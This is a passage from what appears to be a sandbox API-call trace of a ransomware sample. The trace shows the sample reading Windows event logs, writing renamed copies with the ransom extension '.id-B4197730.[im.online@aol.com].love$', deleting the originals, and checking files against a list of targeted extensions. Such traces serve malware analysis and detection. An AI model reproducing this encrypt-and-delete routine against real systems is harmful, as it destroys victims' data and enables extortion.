SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0122.829] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1 [0122.830] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0122.830] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0122.830] lstrlenW (lpString=".doc") returned 4 [0122.830] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.830] lstrlenW (lpString=".docx") returned 5 [0122.830] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.830] lstrlenW (lpString=".pdf") returned 4 [0122.830] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.830] lstrlenW (lpString=".xls") returned 4 [0122.830] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.830] lstrlenW (lpString=".xlsx") returned 5 [0122.830] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.830] lstrlenW (lpString=".ppt") returned 4 [0122.830] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.830] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0122.830] lstrlenW (lpString=".zip") returned 4 [0122.830] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.830] lstrlenW (lpString=".rar") returned 4 [0122.830] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.831] lstrlenW (lpString=".bz2") returned 4 [0122.831] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.831] lstrlenW (lpString=".7z") returned 3 [0122.831] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0122.831] lstrlenW (lpString=".dbf") returned 4 [0122.831] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0122.832] lstrlenW (lpString=".1cd") returned 4 [0122.832] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0122.832] lstrlenW (lpString=".jpg") returned 4 [0122.832] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0122.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0122.832] lstrlenW (lpString=".doc") returned 4 [0122.832] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.832] lstrlenW (lpString=".docx") returned 5 [0122.832] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.832] lstrlenW (lpString=".pdf") returned 4 [0122.832] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.832] lstrlenW (lpString=".xls") returned 4 [0122.832] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.832] lstrlenW (lpString=".xlsx") returned 5 [0122.832] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.832] lstrlenW (lpString=".ppt") returned 4 [0122.832] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.832] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0122.832] lstrlenW (lpString=".zip") returned 4 [0122.832] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.832] lstrlenW (lpString=".rar") returned 4 [0122.832] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.832] lstrlenW (lpString=".bz2") returned 4 [0122.832] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.832] lstrlenW (lpString=".7z") returned 3 [0122.833] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0122.833] lstrlenW (lpString=".dbf") returned 4 [0122.833] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0122.833] lstrlenW (lpString=".1cd") returned 4 [0122.833] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0122.833] lstrlenW (lpString=".jpg") returned 4 [0122.833] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.833] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0122.833] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42 [0122.833] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0122.834] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0122.834] CloseHandle (hObject=0x318) returned 1 [0122.834] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0122.834] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.834] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0122.834] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.835] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.835] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0122.836] GetLastError () returned 0x0 [0122.836] ReadFile (in: hFile=0x318, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.840] WriteFile (in: hFile=0x380, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.843] ReadFile (in: hFile=0x318, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.843] WriteFile (in: hFile=0x380, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x128, lpOverlapped=0x0) returned 1 [0122.843] SetEndOfFile (hFile=0x380) returned 1 [0122.843] CloseHandle (hObject=0x380) returned 1 [0122.952] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.952] SetEndOfFile (hFile=0x318) returned 1 [0122.954] CloseHandle (hObject=0x318) returned 1 [0122.954] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0122.955] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1 [0122.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0122.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0122.955] lstrlenW (lpString=".doc") returned 4 [0122.955] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.955] lstrlenW (lpString=".docx") returned 5 [0122.955] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.956] lstrlenW (lpString=".pdf") returned 4 [0122.956] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.956] lstrlenW (lpString=".xls") returned 4 [0122.956] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.956] lstrlenW (lpString=".xlsx") returned 5 [0122.956] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.956] lstrlenW (lpString=".ppt") returned 4 [0122.956] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.956] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0122.956] lstrlenW (lpString=".zip") returned 4 [0122.956] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.956] lstrlenW (lpString=".rar") returned 4 [0122.956] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.956] lstrlenW (lpString=".bz2") returned 4 [0122.956] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.956] lstrlenW (lpString=".7z") returned 3 [0122.956] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.956] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0122.956] lstrlenW (lpString=".dbf") returned 4 [0122.956] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.956] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0122.956] lstrlenW (lpString=".1cd") returned 4 [0122.956] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.956] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0122.956] lstrlenW (lpString=".jpg") returned 4 [0122.956] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.956] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0122.956] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0122.956] lstrlenW (lpString=".doc") returned 4 [0122.957] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.957] lstrlenW (lpString=".docx") returned 5 [0122.957] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.957] lstrlenW (lpString=".pdf") returned 4 [0122.957] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.957] lstrlenW (lpString=".xls") returned 4 [0122.957] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.957] lstrlenW (lpString=".xlsx") returned 5 [0122.957] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.957] lstrlenW (lpString=".ppt") returned 4 [0122.957] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.957] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0122.957] lstrlenW (lpString=".zip") returned 4 [0122.957] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.957] lstrlenW (lpString=".rar") returned 4 [0122.957] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.957] lstrlenW (lpString=".bz2") returned 4 [0122.957] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.957] lstrlenW (lpString=".7z") returned 3 [0122.957] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.957] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0122.957] lstrlenW (lpString=".dbf") returned 4 [0122.957] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.957] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0122.957] lstrlenW (lpString=".1cd") returned 4 [0122.957] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.957] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0122.957] lstrlenW (lpString=".jpg") returned 4 [0122.957] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.958] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0122.958] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41 [0122.958] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0122.959] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0122.959] CloseHandle (hObject=0x318) returned 1 [0122.959] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0122.959] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.959] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0122.959] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.960] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.960] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0122.960] GetLastError () returned 0x0 [0122.960] ReadFile (in: hFile=0x318, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.964] WriteFile (in: hFile=0x344, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.966] ReadFile (in: hFile=0x318, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.966] WriteFile (in: hFile=0x344, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x126, lpOverlapped=0x0) returned 1 [0122.966] SetEndOfFile (hFile=0x344) returned 1 [0122.966] CloseHandle (hObject=0x344) returned 1 [0122.971] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.971] SetEndOfFile (hFile=0x318) returned 1 [0122.972] CloseHandle (hObject=0x318) returned 1 [0122.972] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0122.973] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1 [0122.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0122.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0122.973] lstrlenW (lpString=".doc") returned 4 [0122.973] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.973] lstrlenW (lpString=".docx") returned 5 [0122.973] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.973] lstrlenW (lpString=".pdf") returned 4 [0122.973] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.973] lstrlenW (lpString=".xls") returned 4 [0122.973] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.973] lstrlenW (lpString=".xlsx") returned 5 [0122.973] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.973] lstrlenW (lpString=".ppt") returned 4 [0122.974] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0122.974] lstrlenW (lpString=".zip") returned 4 [0122.974] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.974] lstrlenW (lpString=".rar") returned 4 [0122.974] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.974] lstrlenW (lpString=".bz2") returned 4 [0122.974] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.974] lstrlenW (lpString=".7z") returned 3 [0122.974] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0122.974] lstrlenW (lpString=".dbf") returned 4 [0122.974] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0122.974] lstrlenW (lpString=".1cd") returned 4 [0122.974] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0122.974] lstrlenW (lpString=".jpg") returned 4 [0122.974] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0122.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0122.974] lstrlenW (lpString=".doc") returned 4 [0122.974] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.974] lstrlenW (lpString=".docx") returned 5 [0122.974] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.974] lstrlenW (lpString=".pdf") returned 4 [0122.974] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.974] lstrlenW (lpString=".xls") returned 4 [0122.974] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.974] lstrlenW (lpString=".xlsx") returned 5 [0122.974] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.974] lstrlenW (lpString=".ppt") returned 4 [0122.974] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0122.975] lstrlenW (lpString=".zip") returned 4 [0122.975] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.975] lstrlenW (lpString=".rar") returned 4 [0122.975] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.975] lstrlenW (lpString=".bz2") returned 4 [0122.975] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.975] lstrlenW (lpString=".7z") returned 3 [0122.975] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0122.975] lstrlenW (lpString=".dbf") returned 4 [0122.975] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0122.975] lstrlenW (lpString=".1cd") returned 4 [0122.975] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0122.975] lstrlenW (lpString=".jpg") returned 4 [0122.975] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.975] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0122.975] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49 [0122.975] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0122.976] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0122.976] CloseHandle (hObject=0x318) returned 1 [0122.976] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0122.976] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.976] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0122.976] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.976] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.976] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0122.977] GetLastError () returned 0x0 [0122.977] ReadFile (in: hFile=0x318, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.980] WriteFile (in: hFile=0x344, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.983] ReadFile (in: hFile=0x318, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.983] WriteFile (in: hFile=0x344, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x136, lpOverlapped=0x0) returned 1 [0122.983] SetEndOfFile (hFile=0x344) returned 1 [0122.983] CloseHandle (hObject=0x344) returned 1 [0122.986] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.986] SetEndOfFile (hFile=0x318) returned 1 [0122.988] CloseHandle (hObject=0x318) returned 1 [0122.988] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0122.988] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1 [0123.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0123.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0123.213] lstrlenW (lpString=".doc") returned 4 [0123.213] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.213] lstrlenW (lpString=".docx") returned 5 [0123.213] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.213] lstrlenW (lpString=".pdf") returned 4 [0123.213] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.213] lstrlenW (lpString=".xls") returned 4 [0123.213] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.213] lstrlenW (lpString=".xlsx") returned 5 [0123.213] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.213] lstrlenW (lpString=".ppt") returned 4 [0123.213] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0123.213] lstrlenW (lpString=".zip") returned 4 [0123.213] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.213] lstrlenW (lpString=".rar") returned 4 [0123.213] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.213] lstrlenW (lpString=".bz2") returned 4 [0123.213] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.213] lstrlenW (lpString=".7z") returned 3 [0123.213] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0123.213] lstrlenW (lpString=".dbf") returned 4 [0123.213] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0123.213] lstrlenW (lpString=".1cd") returned 4 [0123.213] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.213] lstrlenW 